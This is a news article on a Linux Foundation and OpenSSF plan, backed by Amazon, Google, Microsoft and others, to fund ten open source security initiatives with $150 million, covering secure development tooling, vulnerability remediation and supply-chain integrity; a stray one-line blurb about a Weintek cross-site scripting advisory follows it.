The maintainers of thousands of critical open source projects and the developers who build on the foundation of that code will both benefit from 10 security initiatives launched late last week by the Linux Foundation, the Open Source Security Foundation (OpenSSF), and 37 technology companies, the groups said — including tech bigwigs Amazon, Google, and Microsoft.

During a second summit of software industry professionals and government officials, the organizations committed to supporting a 10-step plan to shore up open source maintainers, provide tools to improve software security, and secure the software supply chain. 

The Open Source Software Security Mobilization Plan groups the 10 steps into three broad initiatives: securing open source software production, improving the discovery and remediation of vulnerabilities, and speeding the ecosystem's time to patch.

To show their commitment, a group of companies has pledged $30 million of the estimated $150 million needed to fund all 10 initiatives for the first two years, Brian Behlendorf, general manager of the OpenSSF, said during a press conference on Thursday. This initial $30 million comes from Amazon, Ericsson, Google, Intel, Microsoft, and VMWare.

"We realize that \[$150 million\] is a meaningful amount," he said. "It is an amount more than any one open source developer has, or even most open source projects. But when compared to the cost of remediating a major vulnerability out there, like we have seen in the last few years, it is a drop in the bucket — a very small ounce of prevention to spend for many, many pounds of cure."

The 10-step plan calls for educating and certifying developers in secure programming, creating and maintaining security metrics for the top 10,000 OSS components, promote digital signing of software releases, and replacing non-memory-safe languages, such as C and C++, with more modern alternatives, such as Go and Rust. The plan also calls for improving the discovery of vulnerabilities and their remediation by funding a team of experts to assist open source projects during incidents, provide advanced security tools, fund third-party reviews, and coordinate sharing of data to determine the most critical components.

The intent is to improve security without increasing workload, the open source foundations stated in the report.

"\[A\]ll forms of investment and intervention should be focused on delivering new value to OSS maintainers — from making it easier to adopt practices that enhance the security and integrity of their work, to funding activities like third party code reviews that most projects struggle to afford to perform on their own," the report stated. "Any investments or policies that place additional burdens on developers, increase their personal or professional liability for working on code, or issue unfunded mandates upon them, would struggle for adoption and potentially inhibit further advancements in open source software."  

**Developers & Maintainers to See More Tools  
**The main focus of the $150 million effort will be to produce tools, training. and services for developers and maintainers to create more secure software. Already, some tools have been released as part of the efforts of the OpenSSF and other supporters, such as Google. 

Google, for example, released a tool known as AllStars that automatically vets GitHub projects to flag any anomalies, which could indicate a security issue in the maintenance of the project. The company has also released a system, Scorecard, for rating projects in 18 different areas to give them a security rating. Google and the Linux Foundation, meanwhile, released a tool, sigstore, to help verify the integrity of software supply chains.

Such efforts are extremely important to reduce the impact of security efforts on developers' work, Stephen Chin, vice president of developer relations at software supply chain security firm JFrog, said in a statement.

"We believe open-source security will only be successful if we give OSS projects the same tools and services available to enterprises," he said. "Access to automated tools and high-quality security databases for open-source projects is essential and something that JFrog is committed to helping make happen."

Even more important than the tools are that the efforts create standards that allow interoperability between tool sets, Dan Lorenc — CEO and co-founder at Chainguard and a co-creator of sigstore — said in a statement.

"Interoperability is the linchpin in securing software throughout the supply chain," he said, adding: "These open source tools and projects are the core infrastructure for securing our digital world. But we know not every organization is in a position to go deep on learning each project, nor do they have dedicated staff to understand and integrate all of these tools."

**Gaining Momentum for Open Source Security Support  
**OpenSSF has already made a number of announcements of initiatives that will likely become components of the industry's approach to supporting the creation and maintenance of a more secure software supply chain. Earlier this year, for example, the group announced the Alpha-Omega Project, which aims to secure the most critical software by providing tools and support to maintainers. In March, the OpenSSF and the Laboratory for Innovation Science at Harvard announced four lists of 500 open source projects deemed most critical in two major ecosystems, the JavaScript-based Node Package Manager (NPM) and non-NPM frameworks.

In October, the OpenSSF announced that 16 premier members — including Amazon, Cisco, Facebook, Fidelity, Google, Microsoft, and Red Hat — along with 15 general members had  committed $10 million to expand and support the organization.

The broad base of support shows that open source security is a problem that affects every business using software, Brian Fox, CTO at Sonatype, said in a statement.

"It’s rare to see vendors, competitors, government, and diverse open source ecosystems all come together like they have today," he said. "It shows how massive a problem we have to solve in securing open source, and highlights that no one entity can solve it alone."

Open Source Security Gets $150M Boost From Industry Heavy Hitters

The Weintek cMT product line is vulnerable to a cross-site scripting vulnerability, which could allow an unauthenticated remote attacker to inject malicious JavaScript code.

Tag

#java